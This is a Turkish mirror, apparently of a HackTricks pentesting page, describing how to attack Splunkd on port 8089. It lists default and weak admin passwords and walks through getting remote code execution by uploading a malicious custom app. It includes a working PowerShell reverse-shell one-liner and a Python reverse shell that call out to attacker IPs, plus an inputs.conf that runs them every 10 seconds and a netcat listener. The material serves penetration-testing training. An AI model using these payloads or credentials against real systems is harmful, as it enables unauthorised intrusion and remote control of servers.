mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
140 lines
8.8 KiB
Markdown
140 lines
8.8 KiB
Markdown
# 8089 - Pentesting Splunkd
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## **Temel Bilgiler**
|
||
|
||
Splunk, **veri toplama, analiz etme ve görselleştirme** konusunda kritik bir rol oynayan bir **log analitik aracı**dır. Başlangıçta bir **SIEM (Güvenlik Bilgisi ve Olay Yönetimi)** aracı olarak hizmet vermek amacıyla tasarlanmamış olsa da, **güvenlik izleme** ve **iş analitiği** alanında popülerlik kazanmıştır.
|
||
|
||
Splunk dağıtımları genellikle **hassas verileri** depolamak için kullanılır ve sistemin ele geçirilmesi durumunda potansiyel saldırganlar için **değerli bir bilgi kaynağı** olabilir. **Varsayılan port:** 8089
|
||
```
|
||
PORT STATE SERVICE VERSION
|
||
8089/tcp open http Splunkd httpd
|
||
```
|
||
{% hint style="info" %}
|
||
**Splunk web sunucusu varsayılan olarak 8000 numaralı portta çalışır**.
|
||
{% endhint %}
|
||
|
||
## Enumeration
|
||
|
||
### Ücretsiz Versiyon
|
||
|
||
Splunk Enterprise denemesi **60 gün sonra ücretsiz versiyona dönüşür**, bu da **kimlik doğrulama gerektirmez**. Sistem yöneticilerinin Splunk'ın deneme sürümünü test etmek için kurması ve bunun **sonrasında unutulması** yaygın bir durumdur. Bu, kimlik doğrulama gerektirmeyen ücretsiz versiyona otomatik olarak dönüşecektir ve bu da ortamda bir güvenlik açığı oluşturur. Bazı organizasyonlar, kullanıcı/rol yönetiminin olmamasıyla ilgili sonuçları tam olarak anlamadan bütçe kısıtlamaları nedeniyle ücretsiz versiyonu tercih edebilir.
|
||
|
||
### Varsayılan Kimlik Bilgileri
|
||
|
||
Eski Splunk sürümlerinde varsayılan kimlik bilgileri **`admin:changeme`** olup, bu bilgiler giriş sayfasında rahatlıkla görüntülenir.\
|
||
Ancak, **Splunk'ın en son sürümü** **kurulum sürecinde** **kimlik bilgilerini** ayarlar. Varsayılan kimlik bilgileri çalışmazsa, `admin`, `Welcome`, `Welcome1`, `Password123` gibi yaygın zayıf şifreleri kontrol etmekte fayda vardır.
|
||
|
||
### Bilgi Edinme
|
||
|
||
Splunk'a giriş yaptıktan sonra, **verileri gözden geçirebilir**, **raporlar** çalıştırabilir, **gösterge panelleri** oluşturabilir, Splunkbase kütüphanesinden **uygulamalar** yükleyebilir ve özel uygulamalar yükleyebilirsiniz.\
|
||
Ayrıca kod çalıştırabilirsiniz: Splunk, sunucu tarafı Django uygulamaları, REST uç noktaları, betik girdi ve uyarı betikleri gibi **kod çalıştırmanın** birçok yoluna sahiptir. Bir Splunk sunucusunda uzaktan kod yürütmenin yaygın bir yöntemi, betik girdi kullanmaktır.
|
||
|
||
Ayrıca, Splunk Windows veya Linux ana bilgisayarlarında kurulabileceğinden, Bash, PowerShell veya Batch betiklerini çalıştırmak için betik girdileri oluşturulabilir.
|
||
|
||
### Shodan
|
||
|
||
* `Splunk build`
|
||
|
||
## RCE
|
||
|
||
### Özel Uygulama Oluşturma
|
||
|
||
Özel bir uygulama **Python, Batch, Bash veya PowerShell betikleri** çalıştırabilir.\
|
||
**Splunk'ın Python ile yüklü geldiğini** unutmayın, bu nedenle **Windows** sistemlerinde bile python kodu çalıştırabileceksiniz.
|
||
|
||
Bize yardımcı olması için [**bu**](https://github.com/0xjpuff/reverse\_shell\_splunk) Splunk paketini kullanabilirsiniz. Bu repo içindeki **`bin`** dizini, [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) ve [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1) için örnekler içermektedir. Bunu adım adım inceleyelim.
|
||
|
||
Bunu başarmak için, önce aşağıdaki dizin yapısını kullanarak özel bir Splunk uygulaması oluşturmamız gerekiyor:
|
||
```shell-session
|
||
tree splunk_shell/
|
||
|
||
splunk_shell/
|
||
├── bin
|
||
└── default
|
||
```
|
||
**`bin`** dizini, **çalıştırmayı planladığımız** herhangi bir **script** içerecektir (bu durumda, bir **PowerShell** ters shell), ve varsayılan dizin `inputs.conf` dosyamızı içerecektir. Ters shell'imiz bir **PowerShell one-liner** olacak:
|
||
```powershell
|
||
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
|
||
```
|
||
[inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) dosyası Splunk'a **hangi scriptin çalıştırılacağını** ve diğer koşulları belirtir. Burada uygulamayı etkin olarak ayarlıyoruz ve Splunk'a scripti her 10 saniyede bir çalıştırmasını söylüyoruz. Aralık her zaman saniye cinsindendir ve girdi (script) yalnızca bu ayar mevcutsa çalışacaktır.
|
||
```shell-session
|
||
cat inputs.conf
|
||
|
||
[script://./bin/rev.py]
|
||
disabled = 0
|
||
interval = 10
|
||
sourcetype = shell
|
||
|
||
[script://.\bin\run.bat]
|
||
disabled = 0
|
||
sourcetype = shell
|
||
interval = 10
|
||
```
|
||
`.bat` dosyasına ihtiyacımız var, bu dosya uygulama dağıtıldığında çalışacak ve PowerShell tek satırlık komutunu yürütecek.
|
||
|
||
Sonraki adım, `Install app from file` seçeneğini seçmek ve uygulamayı yüklemektir.
|
||
|
||
<figure><img src="../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Kötü niyetli özel uygulamayı yüklemeden önce, Netcat veya [socat](https://linux.die.net/man/1/socat) kullanarak bir dinleyici başlatalım.
|
||
```shell-session
|
||
sudo nc -lnvp 443
|
||
|
||
listening on [any] 443 ...
|
||
```
|
||
`Upload app` sayfasında, göz at'a tıklayın, daha önce oluşturduğumuz tarball'ı seçin ve `Upload`'a tıklayın. **Uygulamayı yüklediğimiz anda**, uygulamanın durumu otomatik olarak `Enabled` olarak değişeceği için bir **ters shell alınır**.
|
||
|
||
#### Linux
|
||
|
||
Eğer bir **Linux host** ile uğraşıyorsak, tarball'ı oluşturmadan ve özel kötü amaçlı uygulamayı yüklemeden önce **`rev.py` Python betiğini** **düzenlememiz** gerekecektir. Sürecin geri kalanı aynı kalacak ve Netcat dinleyicimizde bir ters shell bağlantısı alacağız ve yarışa başlayacağız.
|
||
```python
|
||
import sys,socket,os,pty
|
||
|
||
ip="10.10.14.15"
|
||
port="443"
|
||
s=socket.socket()
|
||
s.connect((ip,int(port)))
|
||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||
pty.spawn('/bin/bash')
|
||
```
|
||
### RCE & Yetki Yükseltme
|
||
|
||
Aşağıdaki sayfada bu hizmetin nasıl kötüye kullanılabileceğine dair bir açıklama bulabilirsiniz, yetkileri yükseltmek ve kalıcılık elde etmek için:
|
||
|
||
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
|
||
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Referanslar
|
||
|
||
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
||
|
||
{% hint style="success" %}
|
||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricks'i Destekleyin</summary>
|
||
|
||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
|
||
|
||
</details>
|
||
{% endhint %}
|